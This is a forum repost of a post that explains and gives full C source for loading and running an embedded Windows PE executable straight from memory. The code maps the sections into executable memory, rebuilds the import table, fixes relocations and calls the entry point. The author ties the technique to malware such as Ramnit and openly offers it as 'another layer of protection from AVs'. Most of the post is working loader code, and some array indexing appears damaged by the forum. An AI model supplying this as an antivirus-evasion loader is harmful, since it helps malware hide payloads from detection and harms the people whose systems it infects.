Jump to content
Nytro

Execute PE file on virtual memory

Recommended Posts

Posted

[h=1]Execute PE file on virtual memory[/h]by

[h=3]shebaw[/h]Hi everyone. I've been reversing some malware like ramnit and I noticed that they contain most of their codes in embedded executable programs and proceed to execute the program as if it's part of the parent program. This is different from process forking method since that creates a new process while this one just calls into the embedded program as if it's one of it's own function (well almost tongue.png). So here is a code I came up with that does just that. What it basically does is, it first maps the executable's different sections on to an executable memory region, it then imports and builds the IAT of the executable and finally performs relocation fix-ups and transfers control to the entry point of the executable after setting up ebx to point to PEB and eax to the EP. Since you can't always allocate on the preferred base address of the executable, relocation table is a MUST. This won't work on executables without relocation tables but that shouldn't matter if you are trying to obfuscate your own code since you can tell the compiler to include relocation tables when you recompile it. You can use this method as another layer of protection from AVs.

#include <Windows.h>

#include <string.h>

#include <stdio.h>

#include <tchar.h>

#include "mem_map.h"

HMODULE load_dll(const char *dll_name)

{

HMODULE module;

module = GetModuleHandle(dll_name);

if (!module)

module = LoadLibrary(dll_name);

return module;

}

void *get_proc_address(HMODULE module, const char *proc_name)

{

char *modb = (char *)module;

IMAGE_DOS_HEADER *dos_header = (IMAGE_DOS_HEADER *)modb;

IMAGE_NT_HEADERS *nt_headers = (IMAGE_NT_HEADERS *)(modb + dos_header->e_lfanew);

IMAGE_OPTIONAL_HEADER *opt_header = &nt_headers->OptionalHeader;

IMAGE_DATA_DIRECTORY *exp_entry = (IMAGE_DATA_DIRECTORY *)

(&opt_header->DataDirectory[iMAGE_DIRECTORY_ENTRY_EXPORT]);

IMAGE_EXPORT_DIRECTORY *exp_dir = (IMAGE_EXPORT_DIRECTORY *)(modb + exp_entry->VirtualAddress);

void **func_table = (void **)(modb + exp_dir->AddressOfFunctions);

WORD *ord_table = (WORD *)(modb + exp_dir->AddressOfNameOrdinals);

char **name_table = (char **)(modb + exp_dir->AddressOfNames);

void *address = NULL;

DWORD i;

/* is ordinal? */

if (((DWORD)proc_name >> 16) == 0) {

WORD ordinal = LOWORD(proc_name);

DWORD ord_base = exp_dir->Base;

/* is valid ordinal? */

if (ordinal < ord_base || ordinal > ord_base + exp_dir->NumberOfFunctions)

return NULL;

/* taking ordinal base into consideration */

address = (void *)(modb + (DWORD)func_table[ordinal - ord_base]);

} else {

/* import by name */

for (i = 0; i < exp_dir->NumberOfNames; i++) {

/* name table pointers are rvas */

if (strcmp(proc_name, modb + (DWORD)name_table) == 0)

address = (void *)(modb + (DWORD)func_table[ord_table]);

}

}

/* is forwarded? */

if ((char *)address >= (char *)exp_dir &&

(char *)address < (char *)exp_dir + exp_entry->Size) {

char *dll_name, *func_name;

HMODULE frwd_module;

dll_name = strdup((char *)address);

if (!dll_name)

return NULL;

address = NULL;

func_name = strchr(dll_name, '.');

*func_name++ = 0;

if (frwd_module = load_dll(dll_name))

address = get_proc_address(frwd_module, func_name);

free(dll_name);

}

return address;

}

#define MAKE_ORDINAL(val) (val & 0xffff)

int load_imports(IMAGE_IMPORT_DESCRIPTOR *imp_desc, void *load_address)

{

while (imp_desc->Name || imp_desc->TimeDateStamp) {

IMAGE_THUNK_DATA *name_table, *address_table, *thunk;

char *dll_name = (char *)load_address + imp_desc->Name;

HMODULE module;

module = load_dll(dll_name);

if (!module) {

printf("error loading %s\n", dll_name);

return 0;

}

name_table = (IMAGE_THUNK_DATA *)((char *)load_address + imp_desc->OriginalFirstThunk);

address_table = (IMAGE_THUNK_DATA *)((char *)load_address + imp_desc->FirstThunk);

/* if there is no name table, use address table */

thunk = name_table == load_address ? address_table : name_table;

if (thunk == load_address)

return 0;

while (thunk->u1.AddressOfData) {

unsigned char *func_name;

/* is ordinal? */

if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)

func_name = (unsigned char *)MAKE_ORDINAL(thunk->u1.Ordinal);

else

func_name = ((IMAGE_IMPORT_BY_NAME *)((char *)load_address + thunk->u1.AddressOfData))->Name;

/* address_table->u1.Function = (DWORD)GetProcAddress(module, (char *)func_name); */

address_table->u1.Function = (DWORD)get_proc_address(module, (char *)func_name);

thunk++;

address_table++;

}

imp_desc++;

}

return 1;

}

void fix_relocations(IMAGE_BASE_RELOCATION *base_reloc, DWORD dir_size,

DWORD new_imgbase, DWORD old_imgbase)

{

IMAGE_BASE_RELOCATION *cur_reloc = base_reloc, *reloc_end;

DWORD delta = new_imgbase - old_imgbase;

reloc_end = (IMAGE_BASE_RELOCATION *)((char *)base_reloc + dir_size);

while (cur_reloc < reloc_end && cur_reloc->VirtualAddress) {

int count = (cur_reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);

WORD *cur_entry = (WORD *)(cur_reloc + 1);

void *page_va = (void *)((char *)new_imgbase + cur_reloc->VirtualAddress);

while (count--) {

/* is valid x86 relocation? */

if (*cur_entry >> 12 == IMAGE_REL_BASED_HIGHLOW)

*(DWORD *)((char *)page_va + (*cur_entry & 0x0fff)) += delta;

cur_entry++;

}

/* advance to the next one */

cur_reloc = (IMAGE_BASE_RELOCATION *)((char *)cur_reloc + cur_reloc->SizeOfBlock);

}

}

IMAGE_NT_HEADERS *get_nthdrs(void *map)

{

IMAGE_DOS_HEADER *dos_hdr;

dos_hdr = (IMAGE_DOS_HEADER *)map;

return (IMAGE_NT_HEADERS *)((char *)map + dos_hdr->e_lfanew);

}

/* returns EP mem address on success

* NULL on failure

*/

void *load_pe(void *fmap)

{

IMAGE_NT_HEADERS *nthdrs;

IMAGE_DATA_DIRECTORY *reloc_entry, *imp_entry;

void *vmap;

WORD nsections, i;

IMAGE_SECTION_HEADER *sec_hdr;

size_t hdrs_size;

IMAGE_BASE_RELOCATION *base_reloc;

nthdrs = get_nthdrs(fmap);

reloc_entry = &nthdrs->OptionalHeader.DataDirectory[iMAGE_DIRECTORY_ENTRY_BASERELOC];

/* no reloc info? */

if (!reloc_entry->VirtualAddress)

return NULL;

/* allocate executable mem (.SizeOfImage) */

vmap = VirtualAlloc(NULL, nthdrs->OptionalHeader.SizeOfImage,

MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if (!vmap)

return NULL;

/* copy the Image + Sec hdrs */

nsections = nthdrs->FileHeader.NumberOfSections;

sec_hdr = IMAGE_FIRST_SECTION(nthdrs);

hdrs_size = (char *)(sec_hdr + nsections) - (char *)fmap;

memcpy(vmap, fmap, hdrs_size);

/* copy the sections */

for (i = 0; i < nsections; i++) {

size_t sec_size;

sec_size = sec_hdr.SizeOfRawData;

memcpy((char *)vmap + sec_hdr.VirtualAddress,

(char *)fmap + sec_hdr.PointerToRawData, sec_size);

}

/* load dlls */

imp_entry = &nthdrs->OptionalHeader.DataDirectory[iMAGE_DIRECTORY_ENTRY_IMPORT];

if (!load_imports((IMAGE_IMPORT_DESCRIPTOR *)

((char *)vmap + imp_entry->VirtualAddress), vmap))

goto cleanup;

/* fix relocations */

base_reloc = (IMAGE_BASE_RELOCATION *)((char *)vmap + reloc_entry->VirtualAddress);

fix_relocations(base_reloc, reloc_entry->Size,

(DWORD)vmap, nthdrs->OptionalHeader.ImageBase);

return (void *)((char *)vmap + nthdrs->OptionalHeader.AddressOfEntryPoint);

cleanup:

VirtualFree(vmap, 0, MEM_RELEASE);

return NULL;

}

int vmem_exec(void *fmap)

{

void *ep;

ep = load_pe(fmap);

if (!ep)

return 0;

__asm {

mov ebx, fs:[0x30]

mov eax, ep

call eax

}

return 1;

}

Sursa: Execute PE file on virtual memory - rohitab.com - Forums

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...